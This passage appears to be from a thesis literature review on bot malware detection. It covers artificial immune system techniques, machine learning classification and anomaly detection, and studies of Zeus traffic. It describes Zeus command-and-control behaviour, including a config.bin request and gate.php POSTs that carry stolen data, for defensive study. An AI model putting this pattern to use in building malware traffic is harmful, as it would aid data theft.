common communication characteristics. Their technique used flow records generated
with the open source ARGUS software. Their approach assumed that communications
from multiple infected hosts in relatively close temporal proximity should be observable
and should have the common characteristics of destination, payload, and host platform.
They tested with real data collected at a university edge router and reported that the
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combination of techniques proved very powerful. Their clustering techniques employed
unsupervised learning using constructed features formed by aggregating observed
features. The k-means clustering algorithm they described was similar to the x-means
method described previously by Gu, Perdisci, Zhang, and Lee (2008) in that the number
of clusters was learned rather than pre-specified. Feature construction for payload data
was based on a similarity metric called string edit distance, basically an enumeration of
changes required to convert one string into another. Feature construction for platform
data was heuristically derived from initial TTL values and other operating system specific
communications (e.g. connecting to the Microsoft® time server).
Villamarín-Salomón and Brustoloni (2009) looked for patterns in DNS traffic using a
Bayesian network detection approach. They were addressing the countermeasure by bot
malware producers to obfuscate their command and control communications by using
peer-to-peer or fast-flux techniques in response to earlier IRC detection methods. This
research team found that using DNS queries to known, blacklisted command and control
servers as the basis for their prior probabilities produced a good detection rate. The
inspiration for techniques that detect Bot reconnaissance of DNS blacklists was credited
to Ramachandran, Feamster, and Dagon (2006). From a machine learning perspective
they employed a supervised learning approach with a multi-class classifier. They training
the classifier with labeled DNS data for both the benign and infected classes. They
heuristically chose all features based on domain knowledge.
Choi, Lee, and Kim (2009) also focused on similarities among DNS queries with a
method that classified them into groups and evaluated their similarity, periodicity, and
intensity over time. They evaluated their method with network trace data including real-
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world bot traces. From a machine learning perspective this research team’s approach
resembled a multi-class classifier with a threshold between the benign and infected
classes though training details are not provided. Feature construction included welldescribed similarity and distance metrics, however. Group uniformity was an average of
three similarity coefficients per time unit: Kulczynski, Cosine, and Jaccard. Periodicity
was measured by Euclidean distance.

Artificial Immune System Concepts
Quite simply, an artificial immune system or AIS, is computer software that attempts
to apply principles from biological immune systems to a protection or detection problem
(Floreano & Mattiussi, 2008). Artificial immune systems typically model both innate and
adaptive components of natural immune systems, where the innate component knows
about existing threats and the adaptive component learns about new threats. Threats are
the equivalent of foreign antigens. Antigens in nature are comprised of multiple epitopes,
where these epitopes are patterns recognizable by the immune system. The innate
immune system recognizes foreign antigens by their epitopes called pathogen-associated
molecular patterns or PAMPs (Beers, et al., 2003). An AIS will generally implement the
concept of detectors and effectors in the form of centralized or distributed processes.
Detectors find the threats and effectors act on them, functions that may be implemented
within a single component. Actions range from alerting on threats to actually eliminating
them. These detector-effectors are the equivalent of antibodies.
One of the challenges in designing the adaptive component of an AIS is determining
how to dynamically generate and manage the detectors and effectors. One approach is to
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mimic the negative selection process of the natural immune system. First, randomly or
pseudo-randomly generate a diverse set of antibodies, then remove those that are autoreactive and those that are not relevant. Include a mutation process that favors the better
performing ones remaining (somatic hypermutation). Since antibodies that react to the
host (auto-reactive) are eliminated, this a negative selection process.
Another challenge is how to direct the adaptive component to the novel threats.
Danger Theory (Matzinger, 1994) suggests that since the adaptive immune system has no
recognizable patterns for new types of antigens, it must receive signals from other
processes to guide it. These so-called danger signals could come from the innate immune
system or directly from dying host cells. During unexpected cell death (necrosis),
internal structures are exposed, thus forming these danger signals. During natural cell
death (apoptosis), these internal structure are modified to prevent the emission of danger
signals. Danger signals thus direct the adaptive immune response to the precise location
of the damage. Unknown patterns in that area are essentially considered guilty by
association.
Learning from adaptive immune responses is another concept that artificial immune
systems would like emulate. After the adaptive immune system has responded to an
attack by generating new, tailored antibodies through a selection and mutation process, it
then retains knowledge of the most effective antibodies in an immune memory. This
memory facilitates a much quicker response to this type of attack in the future.
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AIS Applied to Information Security
While not initially directed at bot malware in particular, a parallel line of research into
artificial immune systems for information security eventually led to that point. Dasgupta
(1999) credits the seminal work toward developing an artificial immune system for a
computer to Forrest, Perelson, Allen, and Cherukuri (1994). This research team modeled
and applied the negative selection process that the vertebrate immune system uses to
minimize auto-reactivity to the challenge of detecting computer viruses. The goal of this
negative selection process was to retain as detectors only those agents that did not match
host (self) structures. In the biological immune system this equates to retaining as
pathogen detectors only those cells that recognize foreign molecular structures and ignore
host molecular structures. This team’s approach generated a set of string matching
detectors that would match foreign strings but not strings in the protected data. Central to
their approach was the “contiguous matches” notion for sequences of symbols from a
given alphabet. This approach is often referred to as “r contiguous bits” when the
alphabet consists of only the binary digits [0,1]. Their key insight was a method for
determining the number of initial strings that would be necessary before censoring
(negative selection) in order to detect a random change within a computer file. Because
their matching approach was probabilistic, they determined that the initial detector
population could be computed as a function of the number of equal-length strings to be
protected, the probability of detection, and the matching rule. They further determined
that the probability of detection could be computed as a function of the number of
possible symbols (alphabet), the number of symbols in the string, and the number of
contiguous matches required. Forrest et al. (1994) demonstrated that a relatively small
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collection of detectors could identify random changes to the protected data with a high
probability. They reported that the one major limitation of this approach was the
computational complexity of randomly generating the detectors, a process which grew
exponentially with the size of the data to be protected.
From a machine learning perspective, this negative selection or negative detection
approach does not seem intuitive. In fact, it appears to be just the opposite of the oneclass classifier approach where a model of self (a class) forms the basis of the pattern
match. The negative selection approach does include the equivalent of classifier training,
however, in that the detectors that matched self sequences were eliminated in a censoring
process.
D’haeseleer, Forrest, and Helman (1996) extended the work of Forrest, Perelson,
Allen, and Cherukuri (1994) by focusing on techniques for more efficiently generating
detectors. Here they proposed an algorithm that performed r contiguous bits matching in
two phases, the first using a template matching scheme to count recurrence and the
second to generate unmatched strings. This method ran in linear time as opposed to
exponential time, addressing that limitation of the earlier exhaustive approach. While
this method was able to generate a complete set of detectors more efficiently than the
previous method, neither method was able to avoid holes. Holes describe those areas of
the non-self, represented as strings in this case, which overlap with the self based on the
use of fixed distance matching rules such as this r contiguous bits approach or a
Hamming distance approach. Hamming distance measures the number of positions
where the symbols in two strings are different. This team suggested that use of a
Hamming distance matching rule be an area of future research as it might prove more

32

effective with larger data structures. They also pointed out the need for additional
research comparing this negative detection approach with the more traditional positive
detection approaches from the machine learning literature.
Dasgupta and Forrest (1995, 1996, 1999) and Forrest, Hofmeyr, and Somayaji (1997)
extended the negative selection for anomaly detection approach to address dynamic data
patterns in addition to static ones. In particular, the self to be protected was a collection
of computer processes as opposed to data files. Again an r contiguous position matching
method was used. However, more efficient pseudo-random algorithms were used to
generate the initial population of detectors. Dealing with dynamic processes introduced
new challenges, namely, determining how much time series data would be needed to
represent normal self behavior and determining how to encode the time series data. The
process of selecting “suitable” values was heuristic. Dasgupta and Forrest (1995, 1996)
chose non-overlapping time windows and tested their method with simulated data for
both a milling tool breakage detection scenario and a signal processing noise detection
scenario. Note that while the data were simulated as time series, both were otherwise
steady-state systems, meaning that the parameters of interest remained within prescribed
tolerances. They reported detection results comparable with positive detection methods,
namely, neural networks.
Like a typical back propagation neural network, their method was trained on a large
set of data labeled as normal. Unlike a neural net, their method retained only detectors
that did not match the normal time series data. Based on promising results, they offered
suggestions for improving feature selection, window size determination, and time series
data encoding. They also suggested trying a monitoring approach that used multiple time

33

scales simultaneously. This research team also acknowledged that negative detection
approaches need to be compared with positive approaches, and suggested Adaptive
Resonance Theory (ART) neural networks as an appropriate candidate for the positive
detection approach. They postulated that their negative detection approach, when
implemented in a distributed fashion with local decisions, would outperform a positive
detection approach that make a global decision across the entire normal (self) model.
They also concluded that their approach could made adaptable to changes in the normal
environment by generating a new detector set under the appropriate conditions.
Kephart, Sorkin, Arnold, Chess, Tesauro, and White (1995) came up with a different
approach to the detector generation problem. Instead of randomly generating detectors
that may be relevant in the future, they generated detectors based on properties of known
viruses. Their approach included negative selection to prevent the detectors from
recognizing self sequences, where the n-grams chosen to model self sequences were
trigrams. The researchers suggested that implementing immune memory could be trivial.
Once a virus pattern was learned, its signature could simply be added to the known-virus
database for conventional, signature-based detection efforts. This assumed that both
were being employed to protect the system in a layered approach. Issues associated with
managing the growth of a virus signature database were not addressed. In addition to this
approach for emulating the adaptive human immune system, this team also presented an
approach for virus detection that modeled the innate immune system. Their innate AIS
component was a generic classifier using an artificial neural network for multi-class
classification. It was trained with data that included both the benign and infected classes.
The adaptive component included the notion of decoys. Decoys were programs designed
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to attract potential new viruses in order to examine them more closely and verify whether
they were in fact malicious.
Forrest, Hofmeyr, Somayaji, and Longstaff (1996) and Forrest, Hofmeyr, and
Somayaji (1997) extended Forrest’s negative selection line of investigation toward the
protection of a Unix operating system, where they defined self behavior in terms of Unix
system calls. In particular, they postulated that only short sequences of system calls
would be necessary to model normalcy. These normal sequences could then be compared
over a sliding time window with new sequences to look for mismatches. Their
experiments with sendmail and lpr showed positive results. Moreover, they revealed
empirically the significant challenge of selecting the features necessary to model
normalcy in a complex, dynamic system.
Kosoresow and Hofmeyr (1997) extended this line of research by seeking more
compact representations of the system call parameters. They proposed a method that
substituted “macros” for fixed numeric sequences in the system call traces. While they
achieved a significant reduction in the amount of space needed to represent the data, their
procedure required a human to manually create the substitution code for each set of
system calls. As such, they only tested their approach on the two system calls, sendmail
and lpr, of the previous work and recommended investigating automated methods as
future work.
Warrender, Forrest, and Pearlmutter (1999) also focused on how to effectively model
patterns of system calls. They investigated and compared four modeling approaches:
enumeration of observed sequences, relative frequencies of sequences, rule induction
(RIPPER), and Hidden Markov Model (HMM). RIPPER is an acronym for Repeated
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Incremental Pruning to Produce Error Reduction (Cohen, 1995). They determined that
no single method performed best on all traces. The HMM performed best overall but at a
training cost much higher than the other three methods. Based on their experiments, this
research team concluded that the data stream - the features selected from the system calls
- was more important than the analysis method.
Hofmeyr and Forrest (2000) continued this system call, host-based intrusion detection
line of research toward the development of a network intrusion detection system. In this
work the research team introduced the acronym ARTIS to denote Artificial Immune
Systems in general, independent of application, and the acronym LISYS (Lightweight
Intrusion Detection System) to represent their experimental system in particular. They
recommended that artificial immune systems employ a negative selection process that is
both distributed and asynchronous, and that they include a memory function for retaining
information about non-self structures in order to expedite future detection. For their
experimental system, LISYS, they chose to use network traffic to represent the self. In
particular, they represented each TCP network connection as a 49-bit string. These
strings encoded the source IP address, the destination IP address, and the TCP service.
Their challenge then was to model self as the “normally occurring” connections over time
and use that model to detect unusual connections which might indicate intrusions. Each
of the 50 hosts on their local area network served as a detection node. The research team
logged 2.3 million connections as their initial, unfiltered dataset. They reduced that
number to 1.5 million connections by filtering out external web and FTP servers which
they considered noise “because these are continually communicating with new hosts and
so have no stable definition of normal in terms of datapaths.” They merged in nonself
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trace data from logs of seven actual intrusion incidents: one address probing, one large
scale port scanning, three limited port scanning, and two single port scanning examples.
Results were reported based on an average from multiple off-line, faster-than-real-time
simulations. The system was presented with 30 days of normal traffic before each of the
intrusion incidents was introduced one after another, each separated by one day of normal
traffic. The research team reported that LISYS corrected detected all intrusion incidents
(true positives) with a very low false positive rate averaging 1.7 per day. They pointed
out that the tolerization period variable had a considerable effect on the number of false
positives. Specifically, a reduction in the tolerization period from 4 days to 0.5 days
produced an increase in false positives from 1.7 to 15. This suggests that methods for
optimizing this parameter, effectively the time window for training, would be helpful. It
would seem that among the nine paraemters that were identified, the tolerization period
most affected the sensitivity-specificity trade-off of the LISYS system.
Research into the negative selection property of immune systems continued through
the 2000s by these researchers and others. Anchor, Zydallis, Gunsch, and Lamont (2002)
proposed a negative selection based approach to creating detectors which could identify
modified or stealthy versions of existing network intrusion techniques. Attacks were
modeled as finite state machines and a fitness function was employed that considered the
percentage match to the modeled attack string. They reported inconclusive results and
the need to use real network data traces in future tests. Dasgupta, Krishnakumar, Wong,
and Berry (2004) developed and tested an immunity based approach to aircraft fault
detection. They employed a negative selection approach to generate detectors, in this
case using a real-valued matching algorithm as opposed to a binary one. Candidate
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detectors were generated randomly and then iteratively matured to fill the nonself space.
Each detector had a center and radius. Detector position and size were iteratively
adjusted in an attempt to minimize overlap with self and maximize coverage of the
nonself space. This process included cloning of the better-fitting detectors and randomly
generating new ones. Ultimately a mature detector set was produced and then employed
against new samples. The samples were normalized real-valued data represented as
strings. This research team found that increasing the number of detectors effectively
reduced the false positive rate without increasing false negatives. Stibor, Timmis, and
Eckert (2005) compared a real-valued negative selection algorithm to statistical anomaly
detection. The Association for Computing Machinery (ACM) Knowledge Discovery and
Data Mining (KDD) competition web site provided the high-dimensional data and results
from other approaches. The authors reported inconclusive results. However, their
experiments revealed a sensitivity to the estimated detector coverage. Zhang, Zhai, Du,
and Liu (2007) presented a method based primarily on negative selection. They also
included a vaccine operator, where vaccination meant adding detectors to a library. This
vaccine approach is essentially a signature-based method in which new measurements are
compared to a library of known signatures. They did this a priori and during runtime.
The runtime method was not well-described other than the fact that it used a binary rcontiguous matching rule. The authors reported good results testing their approach on
both a virus detection case and an intrusion detection case. Dal, Abraham, Abraham,
Sanyal, and Sanglikar (2008) also experimented with negative selection and developed a
hybrid AIS approach for intrusion detection that employed a genetic algorithm for
creating new memory cells. Detectors begin as randomly generated binary strings, then
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are trained with a negative selection based on r-contiguous bit pattern matching. The
number of matches (fitness) determines the affinity. They determined the detection
threshold to be when three or more detectors matched 13 or more contiguous locations.
Those detectors were then cloned and added to a pool of “winner detectors” to be
maintained and evolved into memory cells. Using this approach, the researchers found
that the fitness function, number of contiguous matching bits of the strings, performed
best between two thresholds. If the threshold was less than 12, then even the self data
matched the detectors. If the threshold was greater than 14, then the nonself data failed to
match. Thus they used a single value, 13, for detection. They also found holes - cases
during training when three detectors failed to detect the nonself anomaly. To work
around this problem they randomly generated additional detectors until at least three
matched. Zhengbing, Ji, and Ping (2008) developed and tested a negative selection
approach with variable sized detectors and real-value matching. They attempted to vary
the size of the detectors to provide better coverage with fewer detectors. Like earlier
methods, they randomly generated a set of detectors and evolved them using an distance
matching algorithm. In this case, however, they used the Euclidean distance to adjust the
detector radius in order to fill gaps in coverage with the largest possible detectors. They
reported a high true positive rate with corresponding low false positive rate using this
method against simulated two-dimensional data.
The network property of biological immune systems also served as the basis for
research into applying artificial immune systems to information security. The immune
network model proposed by Jerne (1974) is credited as the foundation of this line of
research (Kim, et al., 2007). Jerne suggested that the host’s adaptive immune detectors
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communicate with one another to form a network. When the equilibrium of this network
of detectors is upset by invading pathogens, the immune response is activated. While not
as popular as negative selection, the decentralized and distributed detection properties of
immune networks also proved attractive to information security researchers. Timmis
(2000) addressed a fundamental challenge of implementing an artificial network immune
system, ensuring coverage while controlling detector population, with the artificial
recognition ball (ARB) approach. Artificial recognition balls serve as an aggregate,
multi-dimensional representation of data, as opposed to the contiguous bits approach.
Timmis and Neal (2001) used the affinity between ARBs to establish network
equilibrium where affinity was calculated with a Euclidean distance function. They
controlled the detector population by limiting the network to a fixed set of ARBs. The
process of using affinity to create (clone) additional detectors was also addressed by de
Castro and Von Zuben (2000). These researchers implemented a competitive,
unsupervised learning algorithm to construct the immune network. This method, called
aiNet by its authors, was inspired by clonal selection theory, itself a basis for network
immune theory. For aiNet the authors combined hierarchical clustering with graph
theoretical techniques. More specifically, their hierarchical clustering method was based
on a nearest neighbor calculation (de Castro & Von Zuben, 2001). Clonal selection is
similar to evolutionary algorithms based on mutation, in this case where the most
appropriate detectors for a given pathogen are reproduced on demand. de Castro and
Von Zuben (2002) and de Castro and Timmis (2002) extended this approach by seeking
methods to optimize the clonal selection process. Their Clonal Selection Algorithm
(CLONALG) produced candidate detectors based on affinity to the antigen pattern. Each
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generation, or iteration, the candidates would compete with existing detectors for
membership. They found the choice of threshold for node deletion to be a significant
challenge. If the threshold was too low, the population would grow to an unmanageable
level. If the threshold was too high, valid detectors would be lost. The CLONALG
approach featured management of multiple local optima and a stopping criterion. Timmis
(2007) suggests that clonal selection is the only principal unifying the immune network
algorithms to date and that complexity and computational intensity have limited their
application.
Other researchers considered methods to incorporate the Danger Theory proposed by
Matzinger (1994). Danger Theory suggests that the unnatural death of a cell (necrosis)
results in the emission of danger signals which alert and focus the immune response. The
origin of the emission is known and used to concentrate the response. Aickelin and
Cayzer (2002) and Aickelin, Bentley, Cayzer, Kim, and McLeod (2003) proposed a
Danger Theory model for intrusion detection and suggested features to serve as danger
signals. Their approach was to map such features, e.g. unusual process termination,
unauthorized file access, or unusual network connections, to one of two categories
equating to normal (apoptotic) or abnormal (necrotic) cell death in a biological immune
system. One of their goals was to address the IDS alert correlation problem using danger
signals that communicated the location of the attack. Greensmith, Aickelin, and Cayzer
(2005) considered the Danger Theory and modeled the behavior of immune system
dendritic cells for anomaly detection. Dendritic cells are a class of antigen presenting
cells in the biological immune system which are believed to be responsive to danger
signals and to influence the differentiation of T cells (Steinman, 2004). This research
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team proposed four categories of signals for input to these dendritic cells: safe signals,
danger signals, PAMP signals (known bad), and amplifying signals. Greensmith and
Aickelin (2007) implemented a dendritic cell based algorithm for detecting port scans.
They found the approach to be promising, it succeeded in detecting SYN scans over a
long duration but had difficulty when other ad hoc processes were running concurrently.
This Dendritic Cell Algorithm (DCA) was further extended by Greensmith, Aickelin, and
Tedesco (2010) and applied to the detection of outgoing port scans, a common feature of
bot malware. This anomaly detection approach again relied on pathogen associated
molecular patterns (PAMP) from the innate immune system construct and leveraged
danger signals from the adaptive immune system construct. The authors found feature
selection and mapping to be very important, particularly for the safe signals. Safe
signals, according to these researchers, have a greater influence on the detectors than do
the danger signals. Fanelli (2008) proposed a hybrid approach to network intrusion
detection that combined conventional methods with artificial immune system methods
based on the Danger Model. In this approach, danger signals influenced the maturation
of dendritic cells in an innate layer after filtering by a traditional misuse-based network
intrusion detection system. Mature cells migrate to an adaptive layer to support a selfnonself discrimination process. Fanelli’s danger signals consisted of three elements: a
feature value to classify the danger, a signal value to specify the degree of danger, and a
source identifier to track the source of the danger. The author reported that this hybrid
approach achieved a superior “positive predictive value (PPV)” than a misuse-based
NIDS alone, where the true positive detection rates were equivalent and the new
approach’s false positive rate was much lower. Fanelli used the IDEVAL 99 benchmark

42

dataset1 and reported a total of 30 false positives with this approach compared to 98 false
positives reported as the baseline performance of Snort®, a misuse-based network
intrusion detection system (NIDS).
The research most relevant to this work would be the early efforts by Hofmeyr and
Forrest (2000) to develop an artificial immune system for network intrusion detection and
the more recent efforts by Cui, Katz, and Tan (2005) and Shin, Xu, and Gu (2012)
investigating host-based detection of malware that considers outbound network
connections in addition to inbound connections. Cui, Katz, and Tan pointed out that most
network activities on a personal computer are initiated either directly or indirectly by a
user. They developed a technique that would look for network connections not correlated
to user interaction. Shin, Xu, and Gu also attempt what they term “human-processnetwork correlation” to identify suspicious processes in their approach that combines
host-based and network-based intrusion detection methods.
Also relevant is the recent work by Al-Hammadi, Aickelin, and Greensmith (2008,
2010) to apply the Dendritic Cell Algorithm (DCA) to bot detection. While Zeidanloo,
Hosseinpur, and Boraziani (2010) only suggested using an artificial immune system with
network flows to detect P2P bots based on common activity patterns, Al-Hammadi,
Aickelin, and Greensmith actually implemented and tested their approach. They
monitored key-logging activity, outgoing network activity, specifically SYN and UDP
flooding, anomalous file accesses, and potential bot-related command and control
communications. They collected these data with a function call interception program and
analyzed them with a modified DCA. This algorithm considered PAMP, danger, and safe
1

IDEVAL 99 is an Intrusion Detection Evaluation dataset created in 1999 by the Defense Advanced
Research Projects Agency (DARPA) and made available for research.
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signals. The team used an IRC application across virtual Win32 hosts along with both
SpyBot and SdBot botnet executables to generate network trace data containing botnet
activity. They reported that their DCA could discriminate between bot and normal
activity. They found that the signals weights had a significant effect on the results. More
specifically, safe signals needed to be weighted more heavily than danger signals in order
to minimize false positives without generating false negatives. Al-Hammadi, Aickelin,
and Greensmith (2010) extended this DCA and compared its bot detection performance
with an anomaly detection approach based on Spearman’s Rank Correlation (SRC).
Modifications included the following temporal considerations: time delta between
consecutive outgoing communications, time delta between receiving and sending related
network data, and the change rate of select keyboard calls. They reported their DCA to
be more effective at detecting SpyBot and SdBot activity than Spearman’s Rank
Correlation, based on a lower false alarm rate.

Machine Learning
The field of machine learning, also known as computational learning, is generally
divided into classification applications and regression applications (Bishop, 2006; Duda,
Hart, & Stork, 2001). These applications are further partitioned into supervised,
unsupervised, and reinforcement learning methods where the learning process minimizes
some cost function or maximizes some objective function (Guyon, 2007; Murray, 2010).
Domingos (2012) describes machine learning as a function of representation, evaluation,
and optimization where classifiers are represented in the hypothesis space of the problem
domain, an objective or scoring function evaluates the classifiers, and an optimization
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process selects the best one. Of paramount importance is the learned classifier’s ability
to generalize beyond the data used to create it in order to accurately classify new
examples.
Mitchell (1997) offers perhaps a more general definition for machine learning:
“A computer program is said to learn from experience E with respect to some
class of tasks T and performance measure P, if its performance at tasks in T, as
measured by P, improves with experience E.”
As such, Mitchell suggests that each of these three elements, task, performance, and
experience must be defined for any machine learning problem.
The following machine learning conventions are commonly used in the literature (see
Figure 2-1). Data is represented as a matrix X or xij where each row xi is a vector
representing one observation and each column represents a feature. Observations are also
commonly referred to as examples, data points, or patterns in the literature. Features are
also commonly referred to as input variables or attributes. y or yj is a column vector
representing the class labels for the data matrix X. y is the quantity to be determined
through classification or regression. The quantities alpha and w represent weighting of
the matrix rows and columns, respectively. Weighting is often used by machine learning
methods to determine an appropriate decision function (Guyon, 2007; Murray, 2010).
The simplest linear approach, based on the artificial neuron (McCulloch and Pitts, 1943),
is to evaluate the dot product of the input feature vector and corresponding vector of
coefficients that represent the "voting power" of each feature (Guyon, 2007). When the
weighted features are not linearly separable, transformation functions are used to create a
linear combination, as originally described by Rosenblatt (1957) for the perceptron. In
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some cases, such as with kernel methods, basis functions are used to make data linearly
separable. A basis function replaces feature values with measures of similarity.

Figure 2-1. Machine Learning Conventions (Guyon, 2007)

Machine learning classification methods are further categorized as multi-class or oneclass. Determining which of n classes a new observation belongs to is the realm of multiclass techniques. Determining whether a new observation belongs to the known class or
not is the realm of one-class classifiers. The latter is also the focus of novelty detection
and anomaly detection research.
Supervised learning techniques require training data containing class labels (y). In
cases where data is plentiful, the datasets for validation and testing are kept separate from
training datasets (Domingos, 2012; Guyon, 2007; Murray, 2010). This approach
mitigates the risk of overfitting, which can occur when the classifier is validated
exclusively with data from the training set. When large amounts of data are not readily
available, techniques for validation with a subset of the training data must be used.
Cross-validation is one of the more common techniques, where a different portion of the
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data is iteratively withheld from training and used for testing, producing an average
across the iterations (Domingos, 2012; Guyon, 2007).
When class labels are not available in the data, unsupervised learning techniques can
be employed. The most common type of unsupervised learning is clustering (Bishop,
2006; Duda, Hart, & Stork, 2001). Clustering methods attempt to allocate data into
groups and determine the number of groups. For example k-means clustering (Coates,
Lee, & Ng, 2011), one of the most popular techniques, attempts to minimize the sum of
the Euclidean squared distances between points and their associated cluster centers.
Dimensionality reduction is often employed to reduce the number of variables or features
necessary for clustering. Principle Component Analysis (PCA) is one technique for
dimensionality reduction. PCA transforms an input vector into an uncorrelated set of
features ordered by variance, with the first features then conveying the most information
(Jolliffe, 2002). While clustering methods are more common in the unsupervised
learning literature, autoencoders (Bengio, 2009; Le, Ranzato, Monga, Devin, Chen,
Corrado, Dean, & Ng, 2012) and Restricted Boltzmann Machines (Bengio, 2009; Hinton,
Osindero, & Teh, 2006) have also proven successful at unsupervised feature learning.
Feature selection forms a key aspect of machine learning. Guyon (2007) and Guyon
and Elisseeff (2003) suggest that the main goal of feature selection is to rank subsets of
useful features. They categorize feature selection methods as either univariate, those that
consider one feature at a time, or multivariate, those that consider subsets of features
together. Feature selection methods can also be categorized as to whether they function
within the classifier or independently of the classifier. The former are called wrapper or
embedded methods and the latter are called filter methods. These authors describe
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methods for determining whether features that appear redundant can actually support
each other, and for determining whether features that contribute little by themselves can
become more useful with others. Guyon (2007) also points out that the area under the
ROC curve can be used to estimate feature relevance because each feature is like a miniclassifier. When approaching the feature selection process for a new problem, Guyon
recommends trying univariate ranking with a linear classifier first. Proceed to more
complex multivariate methods only when the univariate methods don’t provide
satisfactory results. The results of the NIPS 2003 Feature Selection Challenge revealed
that using multivariate methods was often unnecessary (Guyon, 2007).
Anomaly detection, as previously noted, is concerned with determining whether a new
observation belongs to a known class or not. In other words, anomaly detection describes
the process of detecting patterns in the data that are different than the normal patterns.
One of the key aspects of anomaly detection is the notion of interestingness, or how
interesting the anomaly is to some observer. What typically makes an anomaly
interesting is whether some action or decision will be made on its basis. Anomaly
detection should be distinguished from novelty detection, although the two terms are
often used interchangeably. In novelty detection, the resulting novel pattern is often
merged into the model of normalcy, allowing the model to adapt to change. This leads to
one of the more difficult challenges faced by anomaly detection researchers, the fact that
what defines normal can change and evolve over time. A model of normalcy at one point
in time will not necessarily reflect normalcy at a future time for the same problem
domain.
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Anomaly detection is closely related to machine learning. In fact, anomaly detection
is often considered a subset of machine learning. Supervised, unsupervised, and semisupervised anomaly detection techniques have been described in the literature. One of
the properties that distinguishs anomaly detection from some of the more common
machine learning techniques is the lack of training data for all but the normal class. In
this respect, anomaly detection is equivalent to one-class classification. Furthermore, this
property limits the number of supervised methods that can be effectively employed for
anomaly detection. In a survey of anomaly detection techniques by Chandola (2009), the
researchers found that semi-supervised and unsupervised techniques were most common.
In a semi-supervised approach, a model of normal behavior is created and used to isolate
anomalies in the test data, and then a human expert verifies or labels the anomaly.
Chandola (2009) first divides anomalies into two broad classes, simple and complex,
then further subdivides complex anomalies into contextual anomalies and collective
anomalies. Simple anomalies are also called point anomalies as they often manifest
themselves as an outlier point in low dimensional space. A contextual anomaly, as the
name implies, requires some form of context such as a sequence. In this case the position
in the sequence could represent an anomaly. Techniques for detecting contextual
anomalies have also been extended to events, where each event has an associated time of
occurrence. Collective anomalies are described as requiring combinations of
observations where the individual observations alone are not anomalous. Chandola
(2009) determined that there were two primary approaches to contextual anomaly
detection. The first is to reduce the problem so that it can be solved as a point anomaly
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detection problem. The second is to model the context and use that model for detection
as you would a one-class classifier.

Detection of Zeus Malware
In addition to the research previously discussed for bot malware detection, research on
methods that focused on detection of the Zeus bot malware has also been conducted. The
work by Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010)
analyzed Zeus network traffic patterns by utilizing the Zeus crimeware toolkit to create a
functioning instance of the malware within a controlled network. They captured the
resulting network traffic and analyzed the contents of the packets that comprised the
HTTP communications between the Zeus bot malware and the command and control
server. The goal of their research was to learn and model this communications pattern for
subsequent use in detection techniques. They reported the following as the HTTP
communications pattern for Zeus:
1. the infected host sends an HTTP GET method requesting the file
/config.bin;
2. the C&C server responds by providing that encrypted file;
3. the infected host decrypts and installs the file;
4. the infected host may make a request to a predetermined server in order to
determine its own Internet facing IP address; and
5. the infected host sends HTTP POST methods with the resource /gate.php
which include status reports or stolen data.
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Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, and Wang also reported that
the payload content of the POST messages (Step 5) from the infected host were encrypted
using the RC4 algorithm. This group did not report experimentation with classification
techniques using the communications pattern information they learned.
Alserhani, Akhlaq, Awan, and Cullen (2010) also created an instance of Zeus and
captured its network traffic in order to refine the signature files of a custom method that
they compare with Snort®. They reported that the victim host sent an HTTP GET request
for an encrypted configuration file upon being infected. The infected host then sent
HTTP POST requests with encrypted payloads to request PHP files. This is consistent
with the network communications pattern described by Binsalleeh, Ormerod, Boukhtouta,
Sinha, Youssef, Debbabi, and Wang (2010).
Oro, Luna, Felguera, Vilanova, and Serna (2010) experimented with using blacklists
to detect Zeus bots and C&C servers. Their research focused on the process of
integrating IP blacklists from multiple providers and providing near real time responses
to queries about IP reputation. This research group also did not report experimentation
with classification techniques for Zeus detection.
Riccardi, Di Pietro, and Vila (2011) and Riccardi, Di Pietro, Palanques, and Vila
(2012) also analyzed the network traffic patterns of Zeus by creating instances and
capturing the resulting data from running them. These researchers reported using the
2.0.8.9 version of Zeus that had previously been made public. Much of their work
focused on cryptanalysis techniques against the RC4 with a goal of deciphering Zeus
configuration files. They reported a communcations pattern between the infected host
and command and control server that was very similar to the one previously reported by
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Alserhani, Akhlaq, Awan, and Cullen (2010), and Binsalleeh, Ormerod, Boukhtouta,
Sinha, Youssef, Debbabi, and Wang (2010). First, the infected host makes an HTTP GET
request for /config.bin to the C&C server. Once the configuration file is received
and installed, the infected host makes two types of HTTP POST requests for
/gate.php to the C&C server. The two types were identified as logs and reports, and
they differed in size. Their work employed a custom detection technique working at the
packet level.
The research of Mohaisen and Alrawi (2013) focused on comparing the detection
performance of machine learning techniques using flow level features from Zeus network
traffic. In this respect, it was similar to the work presented in this report. Mohaisen and
Alrawi, however, chose to evaluate five classifiers: one support vector machine (SVM),
two logistic regression methods, one decision trees method, and one nearest neighbor
method. They did not provide a classifier selection rationale. They considered only
seven flow level features from the network traffic: destination IP, destination port,
protocol, HTTP request type, HTTP response type, flow size, and DNS type. However,
their technique also included six features captured from the file system and four features
from the registry of the infected host. They found that the SVM produced the best results
in terms of false positives and false negatives. They also reported that the false negative
rate of the decision trees method changed significantly when the training and testing sets
were reversed, an inspiration for adding that step to the methodology in this work.
Haddadi, Runkel, Zincir-Heywood, and Heywood (2014) also evaluated the detection
performance of multiple classifiers against bot malware network traffic. They chose to
evaluate two classifiers, the first was the C4.5 decision tree algorithm and the second was
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the Symbiotic Bid-Based (SBB) algorithm, a form of genetic algorithm. They considered
14 flow level features that were produced using the Softflowd open source software.
They trained the classifiers with labeled data, a supervised learning approach. They used
real network traces of Zeus, Conficker, and Torpig. They found that these classifiers
performed well using flow level features, which was their primary objective. They also
reported that the results were sensitive to the type of encoding used for certain attributes,
an inspiration for adding that step to the methodology in this work.
Haq, Ahmed, and Syed (2014) focused on generating what they called faithful
fingerprints of bot network activity, where faithful suggested comprehensive across
possible variations due to network and host configurations and user activity. They
created a Zeus botnet and used its network traffic to validate their fingerprinting method.
This research group did not report experimentation with classification techniques for
Zeus detection.
Lu and Brooks (2012) describe how the inter-packet delays captured in Zeus network
traffic were used successfully in a Hidden Markov Model detection approach. Kocak,
Miller, and Kesidis (2014) experimented with an unsupervised classification approach
that considered a feature vector based on the sizes of the first 10 packets after the TCP
flow three-way handshake. Venkatesh and Nadarajan (2012) demonstrated how their
neural network trained with labeled Zeus and Spyeye samples outperformed three
competing classifiers, a C4.5 Decision Tree, a Random Forest, and a Radial Basis
Function, in terms of true and false positives. Alazab, Venkatraman, Watters, Alazab,
and Alazab (2012) provide a general description of Zeus and describe how it sends stolen
